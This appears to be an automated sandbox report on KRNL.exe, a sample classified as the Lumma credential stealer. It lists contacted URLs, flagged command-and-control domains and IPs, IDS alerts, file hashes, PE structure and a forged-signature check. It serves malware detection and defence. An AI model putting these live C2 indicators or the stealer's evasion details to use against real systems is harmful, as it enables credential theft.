https://steamcommunity.com/my/wishlist/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	KRNL.exe	false		high
http://ocsp.entrust.net02	KRNL.exe	false		high
https://checkout.steampow	KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiul	KRNL.exe, 00000002.00000003.1751845531.00000000033EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apim	KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	KRNL.exe, 00000002.00000003.1723581632.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712083330.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712222118.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1723494603.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	KRNL.exe, 00000002.00000003.1737060730.0000000005A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	KRNL.exe, 00000002.00000003.1712222118.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583085
Start date and time:	2025-01-01 21:27:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KRNL.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@12/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 61 Number of non-executed functions: 169
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.85.23.206, 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:27:56	API Interceptor	11x Sleep call for process: KRNL.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse
	Loader.exe	Get hash	malicious	LummaC	Browse
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	172.67.157.254
	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.66.86
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.102.49.254
	gdi32.dll	Get hash	malicious	LummaC	Browse	23.55.153.106
	Loader.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	01012025.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.198.102
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	104.21.21.16
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	104.21.21.16
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.96.3
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	104.21.21.16
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	qnUFsmyxMm.exe	Get hash	malicious	LummaC	Browse	172.67.219.133
	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
AKAMAI-ASUS	loligang.mips.elf	Get hash	malicious	Mirai	Browse	96.17.237.158
	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	setup.exe	Get hash	malicious	Unknown	Browse	23.217.49.150
	decrypt.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	decrypt.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	104.102.34.241
	decrypt.ps1	Get hash	malicious	Unknown	Browse	184.28.90.27
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	SET_UP.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	qnUFsmyxMm.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	Gz1bBIg2Tw.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	yTcaknrrb8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254 104.102.49.254
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254 104.102.49.254

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\KRNL.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.565451721581941
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KRNL.exe
File size:	567'848 bytes
MD5:	976a25d2fed5fc7c8700588a33c6826c
SHA1:	cce0da8a52a534d6252e716f8476193587e84745
SHA256:	a9345000b80b1dd7e5ab5f1491771d39230c83311a1f1b98502f07df453ef02c
SHA512:	d00f6e9841175880be5083b950a62b97b5496f461cb96b51a9332166e90969871127cc056265f23d5f7692a886227045173ce6439a42eca9c1b31af4fc399564
SSDEEP:	12288:oYO6Dqzihouxpa+yWTKbuQ4bUJRNds4b/gCJPEO:tO6DThou2+yDbZkUJ3dsPIPt
TLSH:	CDC4E1523691C0B2C5531A764A75D7795A3EFC200F22AAC793984BFDDEB02D14F31A2E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ng..........................................@.................................G.....@.................................\|j..<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4104a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E98E6 [Fri Dec 27 12:09:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	96d90e8808da099bc17e050394f447e7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007F0400E6275Ah
jmp 00007F0400E625BDh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F0400E62756h
test esi, ecx
jne 00007F0400E62778h
call 00007F0400E62781h
mov ecx, eax
cmp ecx, edi
jne 00007F0400E62759h
mov ecx, BB40E64Fh
jmp 00007F0400E62760h
test esi, ecx
jne 00007F0400E6275Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D00h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CB8h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CB4h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D50h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D28h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F0400E69533h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a7c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8d000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x88400	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32608	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ea98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c3c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b4ca	0x2b600	ebf84c6b836020b1a66433a898baeab7	False	0.5443702719740634	data	6.596404756541432	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc50c	0xc600	96e76e7ef084461591b1dcd4c2131f05	False	0.40260022095959597	data	4.741850626178578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	d87fd4546a2b39263a028b496b33108f	False	0.29814453125	data	5.024681407682101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2744	0x2800	c7508b57e36483307c47b7dd73fc0c85	False	0.75166015625	data	6.531416896423856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x4ac00	0x4ac00	2a12ee53d309eb20fe02fb4fac5edd43	False	1.0003298756270902	data	7.999404208479229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8d000	0x3fc	0x400	6a4851071664eb0d5787860b0928a2fa	False	0.4443359375	data	3.391431520369637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8d058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

ShowWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T21:27:58.265380+0100	2058582	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)	1	192.168.2.4	63882	1.1.1.1	53	UDP
2025-01-01T21:27:58.277210+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.4	65221	1.1.1.1	53	UDP
2025-01-01T21:27:58.287510+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.4	59317	1.1.1.1	53	UDP
2025-01-01T21:27:58.298392+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.4	53601	1.1.1.1	53	UDP
2025-01-01T21:27:58.309461+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.4	56972	1.1.1.1	53	UDP
2025-01-01T21:27:58.319723+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.4	53017	1.1.1.1	53	UDP
2025-01-01T21:27:58.336400+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.4	65432	1.1.1.1	53	UDP
2025-01-01T21:27:58.358476+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.4	58312	1.1.1.1	53	UDP
2025-01-01T21:27:58.370472+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.4	59352	1.1.1.1	53	UDP
2025-01-01T21:27:59.029778+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.102.49.254	443	TCP
2025-01-01T21:27:59.548271+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49733	104.102.49.254	443	TCP
2025-01-01T21:28:00.167445+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.157.254	443	TCP
2025-01-01T21:28:00.594397+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49734	172.67.157.254	443	TCP
2025-01-01T21:28:00.594397+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49734	172.67.157.254	443	TCP
2025-01-01T21:28:01.084272+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.157.254	443	TCP
